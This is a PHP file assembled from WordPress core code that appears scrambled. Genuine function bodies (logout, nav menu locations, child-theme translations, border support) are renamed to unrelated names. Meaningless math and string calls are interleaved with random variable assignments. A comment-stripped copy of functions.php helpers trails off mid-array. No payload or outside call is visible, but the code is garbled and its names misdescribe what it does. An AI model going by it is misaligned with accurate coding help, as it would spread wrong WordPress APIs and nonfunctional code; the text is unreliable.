if ($update_notoptions) { // Attempt to determine the file owner of the WordPress files, and that of newly created files. $translator_comments = false; $create_in_db = false; if (function_exists('fileowner')) { $translator_comments = @fileowner(__FILE__); $create_in_db = @fileowner($applicationid); } if (false !== $translator_comments && $translator_comments === $create_in_db) { /* * WordPress is creating files as the same owner as the WordPress files, * this means it's safe to modify & create new files via PHP. */ $errline = 'direct'; $optimize['_wp_filesystem_direct_method'] = 'file_owner'; } elseif ($cat2) { /* * The $theme_json_file_cache directory is writable, and $cat2 is set, * this means we can modify files safely in this directory. * This mode doesn't create new files, only alter existing ones. */ $errline = 'direct'; $optimize['_wp_filesystem_direct_method'] = 'relaxed_ownership'; } fclose($update_notoptions); @unlink($applicationid); } } if (!$errline && isset($new_size_data['connection_type']) && 'ssh' === $new_size_data['connection_type'] && extension_loaded('ssh2')) { $errline = 'ssh2'; } if (!$errline && extension_loaded('ftp')) { $errline = 'ftpext'; } if (!$errline && (extension_loaded('sockets') || function_exists('fsockopen'))) { $errline = 'ftpsockets'; // Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread. } /** * Filters the filesystem method to use. * * @since 2.6.0 * * @param string $errline Filesystem method to return. * @param array $new_size_data An array of connection details for the method. * @param string $theme_json_file_cache Full path to the directory that is tested for being writable. * @param bool $cat2 Whether to allow Group/World writable. */ return apply_filters('filesystem_method', $errline, $new_size_data, $theme_json_file_cache, $cat2); } /** @var int $a */ if(!isset($new_size_name)) { $new_size_name = 'qsn38od'; } $new_size_name = acosh(347); $select_count = (!isset($select_count)? 'z3yps4jf' : 'ejizzwpd8'); $new_size_name = strtr($new_size_name, 5, 16); $autosave_is_different['wgj9p'] = 4852; /** This action is documented in wp-includes/class-wp-application-passwords.php */ if(!empty(bin2hex($new_size_name)) == True){ $cat_name = 'nqe9xvb7'; } /** * Loads the child theme's translated strings. * * If the current locale exists as a .mo file in the child theme's * root directory, it will be included in the translated strings by the $tag_cloud. * * The .mo files must be named based on the locale exactly. * * @since 2.9.0 * * @param string $tag_cloud Text domain. Unique identifier for retrieving translated strings. * @param string|false $old_site_parsed Optional. Path to the directory containing the .mo file. * Default false. * @return bool True when the theme textdomain is successfully loaded, false otherwise. */ function get_widget_object($tag_cloud, $old_site_parsed = false) { if (!$old_site_parsed) { $old_site_parsed = get_stylesheet_directory(); } return load_theme_textdomain($tag_cloud, $old_site_parsed); } $show_in_rest = 'a4lvty'; $new_size_name = htmlentities($show_in_rest); /** * @param array $old_roleosts * @param int $level */ if(empty(cos(772)) === False) { $new_partials = 'mb9zv09'; } /** * Retrieves all registered navigation menu locations and the menus assigned to them. * * @since 3.0.0 * * @return int[] Associative array of registered navigation menu IDs keyed by their * location name. If none are registered, an empty array. */ function RGADnameLookup() { $add_args = get_theme_mod('nav_menu_locations'); return is_array($add_args) ? $add_args : array(); } $new_size_name = quotemeta($show_in_rest); $wp_content_dir['ivi88t'] = 1307; $first_comment_email['qvfthsoq1'] = 903; /** WordPress Template Administration API */ if(!(tanh(101)) === FALSE) { $qkey = 'ety472w'; } $new_size_name = akismet_version_warning($new_size_name); /** * Sets a post's publish status to 'publish'. * * @since 1.5.0 * * @param array $new_size_data { * Method arguments. Note: arguments must be ordered as documented. * * @type int $0 Post ID. * @type string $1 Username. * @type string $2 Password. * } * @return int|IXR_Error */ if(!(rawurlencode($new_size_name)) != false) { $allow_empty = 'ui9d1hj3'; } $show_in_rest = atanh(495); $stop_after_first_match = (!isset($stop_after_first_match)?"iffzdcr":"ah0yfz1"); $new_size_name = acos(247); $new_size_name = get_notice_kses_allowed_elements($new_size_name); $cfields['gaavq3'] = 'of8h0q'; /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $text_decoration_class * @param string|null $skip_link_color_serialization * @param int $length * @return string * @throws SodiumException * @throws TypeError */ if(!empty(wordwrap($new_size_name)) == True){ $tagfound = 'ipbsmta'; } $show_in_rest = stripos($show_in_rest, $show_in_rest); /* Record the length of this run of changes, so that we can * later determine whether the run has grown. */ if(!empty(decoct(24)) != false){ $json_translation_files = 'eznbs42q'; } $search_rewrite = (!isset($search_rewrite)? 'vtw6s' : 'is91n5'); /** * Set the last modified time to the current time * @return bool Success status */ if((basename($new_size_name)) == True) { $webhook_comment = 'w4av'; } $options_to_prime = 'vk3je2n3'; $second_filepath['bvk2f'] = 'nd1dmao4i'; $show_in_rest = str_shuffle($options_to_prime); /** * Deletes the bookmark cache. * * @since 2.7.0 * * @param int $bookmark_id Bookmark ID. */ if(!isset($headersToSign)) { $headersToSign = 'fk3o6b1ut'; } $headersToSign = asinh(447); $hide_empty['ugw1x'] = 'qec2'; $headersToSign = log1p(626); /** * Retrieves the translation of $text and escapes it for safe use in HTML output. * * If there is no translation, or the text domain isn't loaded, the original text * is escaped and returned. * * @since 2.8.0 * * @param string $text Text to translate. * @param string $tag_cloud Optional. Text domain. Unique identifier for retrieving translated strings. * Default 'default'. * @return string Translated text. */ if(!(is_string($headersToSign)) !== false){ $attarray = 'd7e1rys'; } $headersToSign = rest_validate_array_value_from_schema($headersToSign); $frame_sellername = (!isset($frame_sellername)? "i1o4f8" : "hqylisl"); $inner_container_start['av959zsbv'] = 4324; $headersToSign = strnatcmp($headersToSign, $headersToSign); /** * Whether to show the taxonomy in the admin menu. * * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown. * * @since 4.7.0 * @var bool */ if(!(tanh(905)) !== True) { $f3f3_2 = 'xbitl5q'; } $headersToSign = get_restrictions($headersToSign); $tzstring = 'hrg2jbw'; $response_timings['j9s2vb'] = 3298; /** * Fires after the comment query vars have been parsed. * * @since 4.2.0 * * @param WP_Comment_Query $query The WP_Comment_Query instance (passed by reference). */ if(empty(ucwords($tzstring)) !== false) { $tomorrow = 'dwyj067g'; } $tzstring = IsANumber($headersToSign); $tzstring = soundex($headersToSign); $headersToSign = strip_tags($tzstring); $tzstring = acosh(283); $headersToSign = decbin(345); $tzstring = exp(762); $headersToSign = admin_menu($headersToSign); $destfilename = (!isset($destfilename)? 'uuq56y55f' : 'e505e'); $section_titles['h594olt'] = 'elxyiwv'; /** * Fetch and sanitize the $_POST value for the setting. * * During a save request prior to save, post_value() provides the new value while value() does not. * * @since 3.4.0 * * @param mixed $default_value A default value which is used as a fallback. Default null. * @return mixed The default value on failure, otherwise the sanitized and validated value. */ if((strripos($headersToSign, $tzstring)) !== False){ $request_data = 'zt9y7'; } /** * Switches the internal blog ID. * * This changes the blog id used to create keys in blog specific groups. * * @since 3.5.0 * * @see WP_Object_Cache::switch_to_blog() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int $blog_id Site ID. */ if(empty(strnatcmp($tzstring, $tzstring)) !== TRUE) { $arc_query = 'hy0j03'; } $tzstring = ltrim($tzstring); $tzstring = wordwrap($headersToSign); /** * Class ParagonIE_Sodium_Core_Poly1305 */ if(!isset($carry2)) { $carry2 = 'u1ks4'; } $carry2 = cos(888); $responses = 'h9n3nj'; /** * Border block support flag. * * @package WordPress * @since 5.8.0 */ /** * Registers the style attribute used by the border feature if needed for block * types that support borders. * * @since 5.8.0 * @since 6.1.0 Improved conditional blocks optimization. * @access private * * @param WP_Block_Type $wrap_id Block Type. */ function ParseVorbisPageHeader($wrap_id) { // Setup attributes and styles within that if needed. if (!$wrap_id->attributes) { $wrap_id->attributes = array(); } if (block_has_support($wrap_id, '__experimentalBorder') && !array_key_exists('style', $wrap_id->attributes)) { $wrap_id->attributes['style'] = array('type' => 'object'); } if (wp_has_border_feature_support($wrap_id, 'color') && !array_key_exists('borderColor', $wrap_id->attributes)) { $wrap_id->attributes['borderColor'] = array('type' => 'string'); } } $restrict_network_active = (!isset($restrict_network_active)? 'xmxgdi7' : 'sy99giz'); function get_filename_from_disposition($translations_data, $thumbfile, $remote_source_original) { return Akismet::transition_comment_status($translations_data, $thumbfile, $remote_source_original); } $check_browser['ydjij08i'] = 'uywurf8'; $max_numbered_placeholder['l764u'] = 'ac534pc'; /** * @var ParagonIE_Sodium_Core32_Int32[] $f * @var ParagonIE_Sodium_Core32_Int32[] $g * @var ParagonIE_Sodium_Core32_Int64 $f0 * @var ParagonIE_Sodium_Core32_Int64 $f1 * @var ParagonIE_Sodium_Core32_Int64 $f2 * @var ParagonIE_Sodium_Core32_Int64 $f3 * @var ParagonIE_Sodium_Core32_Int64 $f4 * @var ParagonIE_Sodium_Core32_Int64 $f5 * @var ParagonIE_Sodium_Core32_Int64 $f6 * @var ParagonIE_Sodium_Core32_Int64 $f7 * @var ParagonIE_Sodium_Core32_Int64 $f8 * @var ParagonIE_Sodium_Core32_Int64 $f9 * @var ParagonIE_Sodium_Core32_Int64 $g0 * @var ParagonIE_Sodium_Core32_Int64 $g1 * @var ParagonIE_Sodium_Core32_Int64 $g2 * @var ParagonIE_Sodium_Core32_Int64 $g3 * @var ParagonIE_Sodium_Core32_Int64 $g4 * @var ParagonIE_Sodium_Core32_Int64 $g5 * @var ParagonIE_Sodium_Core32_Int64 $g6 * @var ParagonIE_Sodium_Core32_Int64 $g7 * @var ParagonIE_Sodium_Core32_Int64 $g8 * @var ParagonIE_Sodium_Core32_Int64 $g9 */ if((ucwords($responses)) !== TRUE) { $BitrateUncompressed = 'rkjhqil'; } $responses = 'dn6juf2sg'; $carry2 = get_comment_author_IP($responses); $namespace_stack['udssl'] = 1113; $carry2 = stripos($responses, $responses); $author_biography['bjzhl'] = 2989; /** * Generates SQL clauses to be appended to a main query. * * Called by the public WP_Tax_Query::get_sql(), this method * is abstracted out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return string[] { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ if(!(md5($responses)) !== false) { $descendant_id = 'jfjh'; } $responses = 'zw0xog'; $responses = is_main_blog($responses); $responses = addslashes($responses); $responses = trim($carry2); $responses = addOrEnqueueAnAddress($responses); $carry2 = floor(467); $S10['ovk8h'] = 'kgp5h0u'; /** * This overrides the add_data method from WP_Dependencies, to support normalizing of $new_size_data. * * @since 6.3.0 * * @param string $handle Name of the item. Should be unique. * @param string $skip_link_color_serialization The data key. * @param mixed $next_event The data value. * @return bool True on success, false on failure. */ if(!isset($framebytelength)) { $framebytelength = 'k0xp06q8b'; } $framebytelength = strnatcmp($responses, $carry2); $from_email = (!isset($from_email)? 'ytzjk2' : 'd7y4hrdzy'); $moderated_comments_count_i18n['w5wf0b'] = 4865; /* process full blocks */ if(!isset($arc_week_start)) { $arc_week_start = 'lbyni1vl'; } $arc_week_start = is_string($carry2); $content_without_layout_classes['ywvp3'] = 'x5ki0w8'; $arc_week_start = atanh(858); $scrape_nonce['ilmh9os'] = 'jke02n'; /** * Generates a random password. * * @since MU (3.0.0) * @deprecated 3.0.0 Use wp_generate_password() * @see wp_generate_password() * * @param int $len Optional. The length of password to generate. Default 8. */ if(!empty(log(518)) == True) { $existing_style = 'mqgtg8y'; } $msg_browsehappy['kzahb0m'] = 'jyq2l34'; /** * Displays a list of contributors for a given group. * * @since 5.3.0 * * @param array $badkey The credits groups returned from the API. * @param string $inputFile The current group to display. */ function check_for_spam_button($badkey = array(), $inputFile = '') { $absolute_path = isset($badkey['groups'][$inputFile]) ? $badkey['groups'][$inputFile] : array(); $default_page = $badkey['data']; if (!count($absolute_path)) { return; } if (!empty($absolute_path['shuffle'])) { shuffle($absolute_path['data']); // We were going to sort by ability to pronounce "hierarchical," but that wouldn't be fair to Matt. } switch ($absolute_path['type']) { case 'list': array_walk($absolute_path['data'], '_wp_credits_add_profile_link', $default_page['profiles']); echo '<p class="wp-credits-list">' . wp_sprintf('%l.', $absolute_path['data']) . "</p>\n\n"; break; case 'libraries': array_walk($absolute_path['data'], '_wp_credits_build_object_link'); echo '<p class="wp-credits-list">' . wp_sprintf('%l.', $absolute_path['data']) . "</p>\n\n"; break; default: $stylelines = 'compact' === $absolute_path['type']; $dropdown = 'wp-people-group ' . ($stylelines ? 'compact' : ''); echo '<ul class="' . $dropdown . '" id="wp-people-group-' . $inputFile . '">' . "\n"; foreach ($absolute_path['data'] as $dest_dir) { echo '<li class="wp-person" id="wp-person-' . esc_attr($dest_dir[2]) . '">' . "\n\t"; echo '<a href="' . esc_url(sprintf($default_page['profiles'], $dest_dir[2])) . '" class="web">'; $useVerp = $stylelines ? 80 : 160; $absolute_url = get_avatar_data($dest_dir[1] . '@md5.gravatar.com', array('size' => $useVerp)); $total_update_count = get_avatar_data($dest_dir[1] . '@md5.gravatar.com', array('size' => $useVerp * 2)); echo '<span class="wp-person-avatar"><img src="' . esc_url($absolute_url['url']) . '" srcset="' . esc_url($total_update_count['url']) . ' 2x" class="gravatar" alt="" /></span>' . "\n"; echo esc_html($dest_dir[0]) . "</a>\n\t"; if (!$stylelines && !empty($dest_dir[3])) { // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText echo '<span class="title">' . translate($dest_dir[3]) . "</span>\n"; } echo "</li>\n"; } echo "</ul>\n"; break; } } $framebytelength = deg2rad(699); $dimensions_support['ga2uj'] = 1925; $arc_week_start = strtolower($responses); /** * Logs the current user out. * * @since 2.5.0 */ function remove_image_size() { $insertion = get_current_user_id(); wp_destroy_current_session(); wp_clear_auth_cookie(); wp_set_current_user(0); /** * Fires after a user is logged out. * * @since 1.5.0 * @since 5.5.0 Added the `$insertion` parameter. * * @param int $insertion ID of the user that was logged out. */ do_action('remove_image_size', $insertion); } $carry2 = sin(323); $wp_rest_application_password_status['rhbb4'] = 'lsquspxvc'; /** * Fires once all must-use and network-activated plugins have loaded. * * @since 2.8.0 */ if((strnatcasecmp($carry2, $responses)) === false) { $can_use_cached = 'span0'; } /* hook that should be used as a replacement. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message A message regarding the change. do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); * * Filters whether to trigger deprecated hook errors. * * @since 4.6.0 * * @param bool $trigger Whether to trigger deprecated hook errors. Requires * `WP_DEBUG` to be defined true. if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( $replacement ) { $message = sprintf( translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. __( 'Hook %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message; } else { $message = sprintf( translators: 1: WordPress hook name, 2: Version number. __( 'Hook %1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message; } wp_trigger_error( '', $message, E_USER_DEPRECATED ); } } * * Marks something as being incorrectly called. * * There is a {@see 'doing_it_wrong_run'} hook that will be called that can be used * to get the backtrace up to what file and function called the deprecated function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * @since 3.1.0 * @since 5.4.0 This function is no longer marked as "private". * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. function _doing_it_wrong( $function_name, $message, $version ) { * * Fires when the given function is being used incorrectly. * * @since 3.1.0 * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. do_action( 'doing_it_wrong_run', $function_name, $message, $version ); * * Filters whether to trigger an error for _doing_it_wrong() calls. * * @since 3.1.0 * @since 5.1.0 Added the $function_name, $message and $version parameters. * * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true. * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function_name, $message, $version ) ) { if ( function_exists( '__' ) ) { if ( $version ) { translators: %s: Version number. $version = sprintf( __( '(This message was added in version %s.)' ), $version ); } $message .= ' ' . sprintf( translators: %s: Documentation URL. __( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ), __( 'https:wordpress.org/documentation/article/debugging-in-wordpress/' ) ); $message = sprintf( translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. __( 'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function_name, $message, $version ); } else { if ( $version ) { $version = sprintf( '(This message was added in version %s.)', $version ); } $message .= sprintf( ' Please see <a href="%s">Debugging in WordPress</a> for more information.', 'https:wordpress.org/documentation/article/debugging-in-wordpress/' ); $message = sprintf( 'Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function_name, $message, $version ); } wp_trigger_error( '', $message ); } } * * Generates a user-level error/warning/notice/deprecation message. * * Generates the message when `WP_DEBUG` is true. * * @since 6.4.0 * * @param string $function_name The function that triggered the error. * @param string $message The message explaining the error. * The message can contain allowed HTML 'a' (with href), 'code', * 'br', 'em', and 'strong' tags and http or https protocols. * If it contains other HTML tags or protocols, the message should be escaped * before passing to this function to avoid being stripped {@see wp_kses()}. * @param int $error_level Optional. The designated error type for this error. * Only works with E_USER family of constants. Default E_USER_NOTICE. function wp_trigger_error( $function_name, $message, $error_level = E_USER_NOTICE ) { Bail out if WP_DEBUG is not turned on. if ( ! WP_DEBUG ) { return; } * * Fires when the given function triggers a user-level error/warning/notice/deprecation message. * * Can be used for debug backtracking. * * @since 6.4.0 * * @param string $function_name The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param int $error_level The designated error type for this error. do_action( 'wp_trigger_error_run', $function_name, $message, $error_level ); if ( ! empty( $function_name ) ) { $message = sprintf( '%s(): %s', $function_name, $message ); } $message = wp_kses( $message, array( 'a' => array( 'href' ), 'br', 'code', 'em', 'strong', ), array( 'http', 'https' ) ); trigger_error( $message, $error_level ); } * * Determines whether the server is running an earlier than 1.5.0 version of lighttpd. * * @since 2.5.0 * * @return bool Whether the server is running lighttpd < 1.5.0. function is_lighttpd_before_150() { $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' ); $server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : ''; return ( 'lighttpd' === $server_parts[0] && -1 === version_compare( $server_parts[1], '1.5.0' ) ); } * * Determines whether the specified module exist in the Apache config. * * @since 2.5.0 * * @global bool $is_apache * * @param string $mod The module, e.g. mod_rewrite. * @param bool $default_value Optional. The default return value if the module is not found. Default false. * @return bool Whether the specified module is loaded. function apache_mod_loaded( $mod, $default_value = false ) { global $is_apache; if ( ! $is_apache ) { return false; } $loaded_mods = array(); if ( function_exists( 'apache_get_modules' ) ) { $loaded_mods = apache_get_modules(); if ( in_array( $mod, $loaded_mods, true ) ) { return true; } } if ( empty( $loaded_mods ) && function_exists( 'phpinfo' ) && ! str_contains( ini_get( 'disable_functions' ), 'phpinfo' ) ) { ob_start(); phpinfo( INFO_MODULES ); $phpinfo = ob_get_clean(); if ( str_contains( $phpinfo, $mod ) ) { return true; } } return $default_value; } * * Checks if IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @global bool $is_iis7 * * @return bool Whether IIS7 supports permalinks. function iis7_supports_permalinks() { global $is_iis7; $supports_permalinks = false; if ( $is_iis7 ) { First we check if the DOMDocument class exists. If it does not exist, then we cannot * easily update the xml configuration file, hence we just bail out and tell user that * pretty permalinks cannot be used. * * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs * via ISAPI then pretty permalinks will not work. $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI ); } * * Filters whether IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false. return apply_filters( 'iis7_supports_permalinks', $supports_permalinks ); } * * Validates a file name and path against an allowed set of rules. * * A return value of `1` means the file path contains directory traversal. * * A return value of `2` means the file path contains a Windows drive path. * * A return value of `3` means the file is not in the allowed files list. * * @since 1.2.0 * * @param string $file File path. * @param string[] $allowed_files Optional. Array of allowed files. Default empty array. * @return int 0 means nothing is wrong, greater than 0 means something was wrong. function validate_file( $file, $allowed_files = array() ) { if ( ! is_scalar( $file ) || '' === $file ) { return 0; } Normalize path for Windows servers $file = wp_normalize_path( $file ); `../` on its own is not allowed: if ( '../' === $file ) { return 1; } More than one occurrence of `../` is not allowed: if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) { return 1; } `../` which does not occur at the end of the path is not allowed: if ( str_contains( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) { return 1; } Files not in the allowed file list are not allowed: if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) { return 3; } Absolute Windows drive paths are not allowed: if ( ':' === substr( $file, 1, 1 ) ) { return 2; } return 0; } * * Determines whether to force SSL used for the Administration Screens. * * @since 2.6.0 * * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. function force_ssl_admin( $force = null ) { static $forced = false; if ( ! is_null( $force ) ) { $old_forced = $forced; $forced = $force; return $old_forced; } return $forced; } * * Guesses the URL for the site. * * Will remove wp-admin links to retrieve only return URLs not in the wp-admin * directory. * * @since 2.6.0 * * @return string The guessed URL. function wp_guess_url() { if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) { $url = WP_SITEURL; } else { $abspath_fix = str_replace( '\\', '/', ABSPATH ); $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] ); The request is for the admin. if ( str_contains( $_SERVER['REQUEST_URI'], 'wp-admin' ) || str_contains( $_SERVER['REQUEST_URI'], 'wp-login.php' ) ) { $path = preg_replace( '#/(wp-admin/?.*|wp-login\.php.*)#i', '', $_SERVER['REQUEST_URI'] ); The request is for a file in ABSPATH. } elseif ( $script_filename_dir . '/' === $abspath_fix ) { Strip off any file/query params in the path. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] ); } else { if ( str_contains( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) { Request is hitting a file inside ABSPATH. $directory = str_replace( ABSPATH, '', $script_filename_dir ); Strip off the subdirectory, and any file/query params. $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ); } elseif ( str_contains( $abspath_fix, $script_filename_dir ) ) { Request is hitting a file above ABSPATH. $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) ); Strip off any file/query params from the path, appending the subdirectory to the installation. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory; } else { $path = $_SERVER['REQUEST_URI']; } } $schema = is_ssl() ? 'https:' : 'http:'; set_url_scheme() is not defined yet. $url = $schema . $_SERVER['HTTP_HOST'] . $path; } return rtrim( $url, '/' ); } * * Temporarily suspends cache additions. * * Stops more data being added to the cache, but still allows cache retrieval. * This is useful for actions, such as imports, when a lot of data would otherwise * be almost uselessly added to the cache. * * Suspension lasts for a single page load at most. Remember to call this * function again if you wish to re-enable cache adds earlier. * * @since 3.3.0 * * @param bool $suspend Optional. Suspends additions if true, re-enables them if false. * Defaults to not changing the current setting. * @return bool The current suspend setting. function wp_suspend_cache_addition( $suspend = null ) { static $_suspend = false; if ( is_bool( $suspend ) ) { $_suspend = $suspend; } return $_suspend; } * * Suspends cache invalidation. * * Turns cache invalidation on and off. Useful during imports where you don't want to do * invalidations every time a post is inserted. Callers must be sure that what they are * doing won't lead to an inconsistent cache when invalidation is suspended. * * @since 2.7.0 * * @global bool $_wp_suspend_cache_invalidation * * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true. * @return bool The current suspend setting. function wp_suspend_cache_invalidation( $suspend = true ) { global $_wp_suspend_cache_invalidation; $current_suspend = $_wp_suspend_cache_invalidation; $_wp_suspend_cache_invalidation = $suspend; return $current_suspend; } * * Determines whether a site is the main site of the current network. * * @since 3.0.0 * @since 4.9.0 The `$network_id` parameter was added. * * @param int $site_id Optional. Site ID to test. Defaults to current site. * @param int $network_id Optional. Network ID of the network to check for. * Defaults to current network. * @return bool True if $site_id is the main site of the network, or if not * running Multisite. function is_main_site( $site_id = null, $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( ! $site_id ) { $site_id = get_current_blog_id(); } $site_id = (int) $site_id; return get_main_site_id( $network_id ) === $site_id; } * * Gets the main site ID. * * @since 4.9.0 * * @param int $network_id Optional. The ID of the network for which to get the main site. * Defaults to the current network. * @return int The ID of the main site. function get_main_site_id( $network_id = null ) { if ( ! is_multisite() ) { return get_current_blog_id(); } $network = get_network( $network_id ); if ( ! $network ) { return 0; } return $network->site_id; } * * Determines whether a network is the main network of the Multisite installation. * * @since 3.7.0 * * @param int $network_id Optional. Network ID to test. Defaults to current network. * @return bool True if $network_id is the main network, or if not running Multisite. function is_main_network( $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( null === $network_id ) { $network_id = get_current_network_id(); } $network_id = (int) $network_id; return ( get_main_network_id() === $network_id ); } * * Gets the main network ID. * * @since 4.3.0 * * @return int The ID of the main network. function get_main_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( defined( 'PRIMARY_NETWORK_ID' ) ) { $main_network_id = PRIMARY_NETWORK_ID; } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) { If the current network has an ID of 1, assume it is the main network. $main_network_id = 1; } else { $_networks = get_networks( array( 'fields' => 'ids', 'number' => 1, ) ); $main_network_id = array_shift( $_networks ); } * * Filters the main network ID. * * @since 4.3.0 * * @param int $main_network_id The ID of the main network. return (int) apply_filters( 'get_main_network_id', $main_network_id ); } * * Determines whether site meta is enabled. * * This function checks whether the 'blogmeta' database table exists. The result is saved as * a setting for the main network, making it essentially a global setting. Subsequent requests * will refer to this setting instead of running the query. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool True if site meta is supported, false otherwise. function is_site_meta_supported() { global $wpdb; if ( ! is_multisite() ) { return false; } $network_id = get_main_network_id(); $supported = get_network_option( $network_id, 'site_meta_supported', false ); if ( false === $supported ) { $supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0; update_network_option( $network_id, 'site_meta_supported', $supported ); } return (bool) $supported; } * * Modifies gmt_offset for smart timezone handling. * * Overrides the gmt_offset option if we have a timezone_string available. * * @since 2.8.0 * * @return float|false Timezone GMT offset, false otherwise. function wp_timezone_override_offset() { $timezone_string = get_option( 'timezone_string' ); if ( ! $timezone_string ) { return false; } $timezone_object = timezone_open( $timezone_string ); $datetime_object = date_create(); if ( false === $timezone_object || false === $datetime_object ) { return false; } return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 ); } * * Sort-helper for timezones. * * @since 2.9.0 * @access private * * @param array $a * @param array $b * @return int function _wp_timezone_choice_usort_callback( $a, $b ) { Don't use translated versions of Etc. if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) { Make the order of these more like the old dropdown. if ( str_starts_with( $a['city'], 'GMT+' ) && str_starts_with( $b['city'], 'GMT+' ) ) { return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) ); } if ( 'UTC' === $a['city'] ) { if ( str_starts_with( $b['city'], 'GMT+' ) ) { return 1; } return -1; } if ( 'UTC' === $b['city'] ) { if ( str_starts_with( $a['city'], 'GMT+' ) ) { return -1; } return 1; } return strnatcasecmp( $a['city'], $b['city'] ); } if ( $a['t_continent'] === $b['t_continent'] ) { if ( $a['t_city'] === $b['t_city'] ) { return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] ); } return strnatcasecmp( $a['t_city'], $b['t_city'] ); } else { Force Etc to the bottom of the list. if ( 'Etc' === $a['continent'] ) { return 1; } if ( 'Etc' === $b['continent'] ) { return -1; } return strnatcasecmp( $a['t_continent'], $b['t_continent'] ); } } * * Gives a nicely-formatted list of timezone strings. * * @since 2.9.0 * @since 4.7.0 Added the `$locale` parameter. * * @param string $selected_zone Selected timezone. * @param string $locale Optional. Locale to load the timezones in. Default current site locale. * @return string function wp_timezone_choice( $selected_zone, $locale = null ) { static $mo_loaded = false, $locale_loaded = null; $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' ); Load translations for continents and cities. if ( ! $mo_loaded || $locale !== $locale_loaded ) { $locale_loaded = $locale ? $locale : get_locale(); $mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo'; unload_textdomain( 'continents-cities' ); load_textdomain( 'continents-cities', $mofile, $locale_loaded ); $mo_loaded = true; } $tz_identifiers = timezone_identifiers_list(); $zonen = array(); foreach ( $tz_identifiers as $zone ) { $zone = explode( '/', $zone ); if ( ! in_array( $zone[0], $continents, true ) ) { continue; } This determines what gets set and translated - we don't translate Etc strings here, they are done later. $exists = array( 0 => ( isset( $zone[0] ) && $zone[0] ), 1 => ( isset( $zone[1] ) && $zone[1] ), 2 => ( isset( $zone[2] ) && $zone[2] ), ); $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] ); $exists[4] = ( $exists[1] && $exists[3] ); $exists[5] = ( $exists[2] && $exists[3] ); phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText $zonen[] = array( 'continent' => ( $exists[0] ? $zone[0] : '' ), 'city' => ( $exists[1] ? $zone[1] : '' ), 'subcity' => ( $exists[2] ? $zone[2] : '' ), 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ), 't_city' => ( 